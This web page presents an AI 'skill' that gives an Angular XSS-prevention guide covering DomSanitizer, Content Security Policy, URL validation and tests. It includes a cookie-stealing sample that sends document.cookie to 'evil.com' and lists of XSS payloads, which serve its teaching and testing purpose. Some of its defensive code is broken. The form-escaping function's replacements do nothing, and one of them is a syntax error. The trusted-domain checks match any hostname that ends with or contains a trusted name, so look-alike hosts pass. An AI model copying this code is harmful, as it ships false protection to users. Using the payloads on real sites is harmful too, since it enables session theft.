بنقرة واحدة
xss-prevention
Comprehensive XSS prevention strategies, DomSanitizer usage, and Content Security Policy implementation
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
Comprehensive XSS prevention strategies, DomSanitizer usage, and Content Security Policy implementation
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
Proven architectural patterns for building scalable Angular applications in enterprise environments with large teams
Doguhan Uluca's Router-First Architecture - The 7 steps for designing scalable Angular applications by defining routes before components
Essential RxJS operators and patterns for Angular development - transformation, filtering, combination, and error handling operators
Angular Signals - Modern reactive state management patterns with computed signals, effects, and interoperability with RxJS
Comprehensive guide to Angular bundle optimization, code splitting, tree shaking, and lazy loading strategies
Deep dive into Angular change detection optimization, OnPush strategy, Signals, and Zone.js patterns
استنادا إلى تصنيف SOC المهني
| name | xss-prevention |
| description | Comprehensive XSS prevention strategies, DomSanitizer usage, and Content Security Policy implementation |
Complete guide to preventing Cross-Site Scripting (XSS) attacks in Angular applications.
1. Stored XSS (Persistent)
// Attacker stores malicious script in database
userBio = '<script>fetch("evil.com?cookie=" + document.cookie)</script>';
// Later displayed to other users
<div [innerHTML]="userBio"></div> // Executes script
2. Reflected XSS (Non-persistent)
// Malicious link: https://example.com?search=<script>alert(1)</script>
// App reflects input without sanitization
<div>Search results for: {{ searchQuery }}</div>
3. DOM-based XSS
// URL: https://example.com#<img src=x onerror=alert(1)>
// Unsafe DOM manipulation
element.innerHTML = location.hash.substring(1);
// Script tags
<script>alert('XSS')</script>
// Event handlers
<img src=x onerror=alert('XSS')>
<div onclick=alert('XSS')>
// Data URLs
<a href="data:text/html,<script>alert('XSS')</script>">
// JavaScript URLs
<a href="javascript:alert('XSS')">
// Style injection
<div style="background:url('javascript:alert(XSS)')">
// SVG
<svg onload=alert('XSS')>
// Object/embed
<object data="javascript:alert('XSS')">
// ✅ SAFE: Angular auto-escapes
@Component({
template: `
<div>{{ userInput }}</div>
<div [textContent]="userInput"></div>
`
})
export class SafeComponent {
userInput = '<script>alert("XSS")</script>';
// Rendered as text, not executed
}
Angular sanitizes based on context:
| Context | Element | Sanitization |
|---|---|---|
| HTML | [innerHTML] | Remove scripts, styles |
| Style | [style] | Remove dangerous CSS |
| URL | [href], [src] | Block javascript: |
| Resource URL | <iframe src> | Strict validation |
import { DomSanitizer, SafeHtml, SecurityContext } from '@angular/platform-browser';
@Component({
template: `<div [innerHTML]="safeHtml"></div>`
})
export class SanitizedComponent {
safeHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
const userInput = '<p>Hello</p><script>alert("XSS")</script>';
// Sanitize HTML
this.safeHtml = this.sanitizer.sanitize(
SecurityContext.HTML,
userInput
);
// Result: '<p>Hello</p>' (script removed)
}
}
export class SecurityContextsComponent {
constructor(private sanitizer: DomSanitizer) {}
// HTML Context
sanitizeHtml(html: string): SafeHtml {
return this.sanitizer.sanitize(SecurityContext.HTML, html);
}
// Style Context
sanitizeStyle(style: string): SafeStyle {
return this.sanitizer.sanitize(SecurityContext.STYLE, style);
}
// URL Context
sanitizeUrl(url: string): SafeUrl {
return this.sanitizer.sanitize(SecurityContext.URL, url);
}
// Resource URL Context (iframes, etc)
sanitizeResourceUrl(url: string): SafeResourceUrl {
return this.sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
}
}
// ⚠️ DANGEROUS: Only use when absolutely necessary
export class BypassSecurityComponent {
constructor(private sanitizer: DomSanitizer) {}
// Bypass HTML sanitization
getTrustedHtml(html: string): SafeHtml {
// Only use with trusted, server-validated content!
return this.sanitizer.bypassSecurityTrustHtml(html);
}
// Bypass URL sanitization
getTrustedUrl(url: string): SafeUrl {
// Validate URL is from trusted domain first!
if (this.isTrustedDomain(url)) {
return this.sanitizer.bypassSecurityTrustUrl(url);
}
throw new Error('Untrusted URL');
}
private isTrustedDomain(url: string): boolean {
const trustedDomains = ['example.com', 'cdn.example.com'];
try {
const domain = new URL(url).hostname;
return trustedDomains.some(trusted => domain.endsWith(trusted));
} catch {
return false;
}
}
}
import { marked } from 'marked';
@Component({
template: `<div [innerHTML]="renderedMarkdown"></div>`
})
export class MarkdownComponent {
@Input() set markdown(value: string) {
// Convert markdown to HTML
const rawHtml = marked(value);
// Sanitize the HTML
this.renderedMarkdown = this.sanitizer.sanitize(
SecurityContext.HTML,
rawHtml
);
}
renderedMarkdown: SafeHtml;
constructor(private sanitizer: DomSanitizer) {}
}
<!-- index.html -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'nonce-{RANDOM}';
style-src 'self' 'nonce-{RANDOM}';
img-src 'self' data: https:;
font-src 'self' data:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
">
default-src 'self' # Default policy
script-src 'self' 'unsafe-inline' # Where scripts can load from
style-src 'self' 'unsafe-inline' # Where styles can load from
img-src 'self' data: https: # Image sources
font-src 'self' data: # Font sources
connect-src 'self' api.example.com # XHR/WebSocket connections
frame-ancestors 'none' # Prevent clickjacking
base-uri 'self' # Restrict <base> tag
form-action 'self' # Form submission targets
upgrade-insecure-requests # Upgrade HTTP to HTTPS
// Server-side (Node.js example)
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', `
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'nonce-${nonce}';
`);
next();
});
// HTML template
<script nonce="<%= nonce %>">
console.log('Allowed with nonce');
</script>
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
report-uri /api/csp-violations;
">
// Server endpoint to receive violations
app.post('/api/csp-violations', (req, res) => {
console.error('CSP Violation:', req.body);
// Log to security monitoring system
res.status(204).end();
});
// ❌ BAD
@Component({
template: `<div [innerHTML]="content"></div>`
})
// ✅ GOOD: Use text interpolation
@Component({
template: `<div>{{ content }}</div>`
})
// ✅ GOOD: Component composition
@Component({
template: `
<div *ngFor="let item of items">
<app-safe-content [data]="item"></app-safe-content>
</div>
`
})
@Component({
template: `<a [href]="safeUrl">Link</a>`
})
export class LinkComponent {
@Input() set url(value: string) {
this.safeUrl = this.validateUrl(value);
}
safeUrl: string | null;
private allowedProtocols = ['http:', 'https:', 'mailto:'];
private blockedDomains = ['evil.com', 'phishing.net'];
private validateUrl(url: string): string | null {
try {
const parsed = new URL(url);
// Check protocol
if (!this.allowedProtocols.includes(parsed.protocol)) {
console.warn('Blocked URL with invalid protocol:', url);
return null;
}
// Check domain blacklist
if (this.blockedDomains.some(blocked =>
parsed.hostname.includes(blocked)
)) {
console.warn('Blocked URL from blacklisted domain:', url);
return null;
}
return url;
} catch {
console.warn('Invalid URL:', url);
return null;
}
}
}
@Injectable({ providedIn: 'root' })
export class ContentSanitizerService {
constructor(private sanitizer: DomSanitizer) {}
// Sanitize HTML content
sanitizeHtml(html: string): SafeHtml {
// Remove dangerous tags
const dangerous = ['script', 'iframe', 'object', 'embed', 'style'];
let cleaned = html;
dangerous.forEach(tag => {
const regex = new RegExp(`<${tag}[^>]*>.*?<\/${tag}>`, 'gi');
cleaned = cleaned.replace(regex, '');
});
// Remove event handlers
cleaned = cleaned.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
// Sanitize with Angular
return this.sanitizer.sanitize(SecurityContext.HTML, cleaned);
}
// Sanitize for display in form
sanitizeFormInput(input: string): string {
return input
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
}
@Component({
template: `
<input type="file" (change)="onFileSelect($event)" accept="image/*">
<img *ngIf="preview" [src]="preview" alt="Preview">
`
})
export class SafeFileUploadComponent {
preview: SafeUrl | null = null;
constructor(private sanitizer: DomSanitizer) {}
onFileSelect(event: Event) {
const input = event.target as HTMLInputElement;
const file = input.files?.[0];
if (!file) return;
// Validate file type
const validTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!validTypes.includes(file.type)) {
alert('Invalid file type');
return;
}
// Validate file size (5MB max)
if (file.size > 5 * 1024 * 1024) {
alert('File too large');
return;
}
// Create safe preview
const reader = new FileReader();
reader.onload = (e) => {
const dataUrl = e.target?.result as string;
// Sanitize data URL
this.preview = this.sanitizer.sanitize(
SecurityContext.URL,
dataUrl
);
};
reader.readAsDataURL(file);
}
}
// ❌ BAD: Dynamic script execution
eval(userCode);
new Function(userCode)();
// ✅ GOOD: Configuration-based logic
@Component({
template: `
<div *ngIf="config.showHeader">
<h1>{{ config.title }}</h1>
</div>
<div *ngFor="let section of config.sections">
<app-section [data]="section"></app-section>
</div>
`
})
export class ConfigurableComponent {
@Input() config: {
showHeader: boolean;
title: string;
sections: Section[];
};
}
// ❌ VULNERABLE
@Component({
template: `<div [innerHTML]="userBio"></div>`
})
export class VulnerableComponent {
@Input() userBio: string;
}
// Attack:
userBio = '<img src=x onerror="alert(document.cookie)">';
// ✅ FIX 1: Remove innerHTML
@Component({
template: `<div>{{ userBio }}</div>`
})
// ✅ FIX 2: Sanitize
@Component({
template: `<div [innerHTML]="safeUserBio"></div>`
})
export class SecureComponent {
@Input() set userBio(value: string) {
this.safeUserBio = this.sanitizer.sanitize(
SecurityContext.HTML,
value
);
}
safeUserBio: SafeHtml;
constructor(private sanitizer: DomSanitizer) {}
}
// ❌ VULNERABLE
<a [href]="userUrl">Click</a>
// Attack:
userUrl = 'javascript:alert(document.cookie)';
// ✅ FIX
@Component({
template: `<a [href]="safeUrl">Click</a>`
})
export class SecureComponent {
@Input() set userUrl(value: string) {
try {
const url = new URL(value);
if (url.protocol === 'http:' || url.protocol === 'https:') {
this.safeUrl = value;
} else {
console.warn('Blocked unsafe URL protocol:', url.protocol);
this.safeUrl = null;
}
} catch {
this.safeUrl = null;
}
}
safeUrl: string | null;
}
// ❌ NEVER USE
document.write(userContent);
document.writeln(userContent);
// ✅ USE ANGULAR
@Component({
template: `<div>{{ content }}</div>`
})
// ❌ VULNERABLE: Untrusted iframe
<iframe [src]="videoUrl"></iframe>
// ✅ SECURE: Whitelist domains
@Component({
template: `<iframe *ngIf="trustedUrl" [src]="trustedUrl"></iframe>`
})
export class VideoComponent {
@Input() set videoUrl(url: string) {
const trusted = ['youtube.com', 'vimeo.com'];
try {
const domain = new URL(url).hostname;
if (trusted.some(t => domain.includes(t))) {
this.trustedUrl = this.sanitizer.bypassSecurityTrustResourceUrl(url);
} else {
console.warn('Untrusted video domain:', domain);
this.trustedUrl = null;
}
} catch {
this.trustedUrl = null;
}
}
trustedUrl: SafeResourceUrl | null;
constructor(private sanitizer: DomSanitizer) {}
}
// Test payloads
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'javascript:alert("XSS")',
'<iframe src="javascript:alert(\'XSS\')">',
'<body onload=alert("XSS")>',
'<input onfocus=alert("XSS") autofocus>',
'<select onfocus=alert("XSS") autofocus>',
'<textarea onfocus=alert("XSS") autofocus>',
'<img src=x:alert(alt) onerror=eval(src) alt=xss>',
'"><script>alert(String.fromCharCode(88,83,83))</script>',
'<img src=/ onerror="alert(String.fromCharCode(88,83,83))">',
];
// Test each input field
xssPayloads.forEach(payload => {
component.userInput = payload;
fixture.detectChanges();
// Check if script executes or is safely escaped
});
describe('XSS Prevention', () => {
it('should escape HTML in text interpolation', () => {
component.content = '<script>alert("XSS")</script>';
fixture.detectChanges();
const element = fixture.nativeElement;
expect(element.textContent).toContain('<script>');
expect(element.innerHTML).not.toContain('<script>');
});
it('should sanitize innerHTML', () => {
const malicious = '<p>Safe</p><script>alert("XSS")</script>';
component.setHtml(malicious);
fixture.detectChanges();
const element = fixture.nativeElement.querySelector('.content');
expect(element.innerHTML).toContain('<p>Safe</p>');
expect(element.innerHTML).not.toContain('<script>');
});
it('should block javascript: URLs', () => {
component.url = 'javascript:alert("XSS")';
fixture.detectChanges();
const link = fixture.nativeElement.querySelector('a');
expect(link.getAttribute('href')).toBeNull();
});
});
# OWASP ZAP
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t http://localhost:4200
# Snyk
npm install -g snyk
snyk test
snyk monitor
# npm audit
npm audit
npm audit fix
✅ DO:
{{ }} by defaultDomSanitizer when HTML is needed❌ DON'T:
innerHTML with user databypassSecurityTrust* without validationeval() or Function() constructordocument.write()// Sanitize
sanitizer.sanitize(SecurityContext.HTML, html);
sanitizer.sanitize(SecurityContext.STYLE, style);
sanitizer.sanitize(SecurityContext.URL, url);
sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
// Bypass (use with caution!)
sanitizer.bypassSecurityTrustHtml(html);
sanitizer.bypassSecurityTrustStyle(style);
sanitizer.bypassSecurityTrustUrl(url);
sanitizer.bypassSecurityTrustResourceUrl(url);
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
">
Prevent XSS, protect users! 🛡️